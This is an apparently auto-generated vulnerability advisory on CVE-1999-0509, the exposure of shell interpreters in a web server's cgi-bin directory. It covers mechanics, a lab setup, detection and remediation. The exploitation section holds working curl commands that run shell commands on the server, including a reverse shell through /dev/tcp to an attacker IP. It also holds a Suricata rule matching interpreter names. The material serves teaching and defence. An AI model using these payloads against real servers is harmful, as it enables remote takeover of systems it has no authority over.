CVE-1999-0509
Executive Summary
CVE-1999-0509 describes a critical server misconfiguration vulnerability with a CVSS score of 10.0. The vulnerability arises when shell interpreters such as perl, sh, csh, bash, or other command-line executables are placed within a web-accessible directory, most commonly the cgi-bin directory. This configuration flaw allows remote, unauthenticated attackers to directly invoke the interpreter via an HTTP request and pass arbitrary commands as arguments. Successful exploitation results in complete compromise of the web server, allowing the attacker to execute code with the permissions of the web server user (e.g., www-data, apache), leading to data theft, system manipulation, and further network pivoting. This is not a flaw in the interpreters themselves, but a failure in secure server administration. Remediation focuses exclusively on correcting the server configuration to prevent direct web access to these system binaries.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Threat Level: CRITICAL
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network (N) | The vulnerability is exploitable remotely over the network without requiring any local access. |
| Attack Complexity (AC) | Low (L) | No special conditions or prerequisites are needed. An attacker just needs to find a misconfigured server. |
| Privileges Required (PR) | None (N) | The attack can be launched by an unauthenticated user. |
| User Interaction (UI) | None (N) | No user interaction is required for a successful exploit. |
| Scope (S) | Changed (C) | The exploit allows an attacker to break out of the web server's security context and execute commands on the underlying host operating system. |
| Confidentiality (C) | High (H) | The attacker can read any file on the system accessible by the web server's user, including sensitive configuration files, source code, and data. |
| Integrity (I) | High (H) | The attacker can modify or delete any file accessible by the web server's user, and can alter the behavior of the web application or the system. |
| Availability (A) | High (H) | The attacker can terminate processes, delete files, or consume resources, leading to a complete denial of service for the web server and potentially the host itself. |
Deep Dive & Mechanics
The Common Gateway Interface (CGI) is a standard protocol that allows web servers to execute external programs (CGI scripts) to generate dynamic web content. A cgi-bin directory is a conventional location for these executable scripts. The web server is configured to treat any file in this directory as an executable program.
The intended behavior is for the server to execute a specific script (e.g., script.pl). The vulnerability occurs when a system binary, such as the Perl interpreter (/usr/bin/perl) or a shell (/bin/sh), is copied into the cgi-bin directory.
When this misconfiguration exists, the attacker's request no longer needs to target a specific CGI script. Instead, they can target the interpreter itself.
Attack Flow:
- Discovery: The attacker discovers that an interpreter, for example
sh, is located athttp://example.com/cgi-bin/sh. - Request Crafting: The attacker crafts a URL that calls this interpreter and passes command-line arguments. Most shells and interpreters accept flags like
-cor-eto execute a command string that follows. - Execution: The web server receives the request for
/cgi-bin/sh. Believingshto be a valid CGI program, it executes it. The URL parameters (e.g.,?-c'id') are passed as command-line arguments to theshprocess. - Compromise: The
shinterpreter executes the supplied command (id) on the underlying server. The output of the command is then returned in the HTTP response to the attacker.
For example, a request to http://example.com/cgi-bin/sh?-c'ls%20-la%20/' would cause the web server to execute /var/www/cgi-bin/sh -c 'ls -la /' and return the root directory listing of the server.
Vulnerable vs. Patched Code
This vulnerability is not a code flaw but a configuration error. Therefore, we compare a vulnerable server directory structure against a secure one.
Vulnerable Configuration:
In this setup, a copy of the bash shell interpreter has been incorrectly placed inside the web-accessible cgi-bin directory.
/var/www/
├── html/
│ └── index.html
└── cgi-bin/
├── script.pl
└── bash <-- VULNERABLE: System interpreter is web-accessible
Secure Configuration:
In a secure setup, interpreters reside in standard system paths (/usr/bin, /bin) and are NOT in any web-accessible directory. The CGI script itself references the interpreter via a "shebang" line (#!/usr/bin/perl). The web server is configured to execute scripts in cgi-bin, but the interpreters themselves are not directly callable via a URL.
/var/www/
├── html/
│ └── index.html
└── cgi-bin/
└── script.pl <-- SECURE: Only approved scripts are present
# Contents of /var/www/cgi-bin/script.pl
#!/usr/bin/perl <-- Script calls the system interpreter, which is not in a web root
print "Content-type: text/html\n\n";
print "Hello, World!";
Exploitation & Lab Setup
Lab Setup:
- Install a web server like Apache:
sudo apt-get install apache2. - Enable the CGI module:
sudo a2enmod cgi. - Configure a
cgi-bindirectory in your Apache virtual host configuration. - Introduce the vulnerability: Copy a shell interpreter into the
cgi-bindirectory.sudo cp /bin/bash /usr/lib/cgi-bin/bash sudo chmod +x /usr/lib/cgi-bin/bash - Restart Apache:
sudo systemctl restart apache2.
Exploitation:
An attacker can use a simple curl command to exploit this misconfiguration. This command invokes the bash interpreter and uses the -c flag to execute the id command, which returns information about the current user (typically the web server user).
# Execute the 'id' command
curl "http://localhost/cgi-bin/bash?-c'id'"
# Expected Output:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
To achieve a reverse shell, an attacker could use a more complex payload:
# Execute a command to establish a reverse shell to attacker's IP 10.0.0.5 on port 4444
curl "http://localhost/cgi-bin/bash?-c'bash%20-i%20%3E%26%20/dev/tcp/10.0.0.5/4444%200%3E%261'"
Detection Engineering
Detection can be achieved by monitoring HTTP traffic for requests that attempt to directly call common shell or script interpreters within a cgi-bin path.
Here is a Suricata rule designed to detect this activity. It looks for GET or POST requests to URIs containing /cgi-bin/ followed by a common interpreter name, often accompanied by command execution flags.
alert http any any -> $HTTP_SERVERS any ( \
msg:"ET EXPLOIT Possible CVE-1999-0509 Shell Interpreter in CGI-BIN"; \
flow:to_server,established; \
http.method; content:"GET"; \
http.uri; pcre:"/\/cgi-bin\/(perl|sh|bash|csh|ksh|tclsh|zsh|python|php)/i"; \
http.uri; pcre:"/(\?|\&)(-|%2D)(c|e|s)/i"; \
reference:cve,1999-0509; \
classtype:web-application-attack; \
sid:19990509; rev:1; \
)
Rule Breakdown:
alert http any any -> $HTTP_SERVERS any: Triggers on HTTP traffic to servers defined in$HTTP_SERVERS.http.method; content:"GET";: Focuses on GET requests, though this can be expanded to POST.http.uri; pcre:"/\/cgi-bin\/(perl|sh|...)/i";: Uses a regular expression to match requests to acgi-bindirectory that call a known interpreter.http.uri; pcre:"/(\?|\&)(-|%2D)(c|e|s)/i";: Looks for common command execution flags (-c,-e,-s) in the query string, which are strong indicators of an exploit attempt.reference:cve,1999-0509;: Links the alert to this specific CVE.classtype:web-application-attack;: Classifies the alert as a web attack.
Remediation & Mitigation
This is a configuration vulnerability, and therefore requires administrative action rather than a software patch.
Primary Remediation: Remove Interpreters from Web Directories: The most critical step is to audit all web-accessible directories (e.g.,
/var/www/,/srv/www/) and immediately remove any system binaries, shell interpreters, or any non-web-content executables. Interpreters should only reside in standard system paths like/bin,/usr/bin, and/usr/local/bin.Principle of Least Privilege: Run the web server process as a dedicated, low-privilege user (e.g.,
www-data,nobody). This will limit the impact of a potential compromise.Web Server Hardening: Configure your web server to only execute files with specific extensions as CGI scripts. Do not allow the execution of arbitrary files in the
cgi-bindirectory. For Apache, use the following configuration to restrict execution to.cgiand.plfiles:<Directory "/var/www/cgi-bin"> Options +ExecCGI -Indexes AddHandler cgi-script .cgi .pl Require all granted </Directory>The
-Indexesoption also prevents directory listing, reducing the information available to an attacker.File Permissions: Ensure file permissions on
cgi-bindirectories and scripts are strict. The directory should not be world-writable, and scripts should be owned by a non-web-server user and only be executable by the web server group.# Set secure permissions for the cgi-bin directory sudo chown root:www-data /var/www/cgi-bin sudo chmod 750 /var/www/cgi-bin # Set secure permissions for a script within cgi-bin sudo chown someuser:www-data /var/www/cgi-bin/script.pl sudo chmod 750 /var/www/cgi-bin/script.plRegular Audits and Scanning: Use automated configuration scanners and file integrity monitoring (FIM) tools to regularly audit web server directories for unauthorized or misplaced executables.
Web Application Firewall (WAF): Deploy a WAF to filter incoming requests. A WAF can be configured with rulesets to block patterns indicative of this attack, such as requests containing shell commands or targeting executables in
cgi-bin.
[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.
{/* [Security Hash: 596658BFD3A746D08277CCE0] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.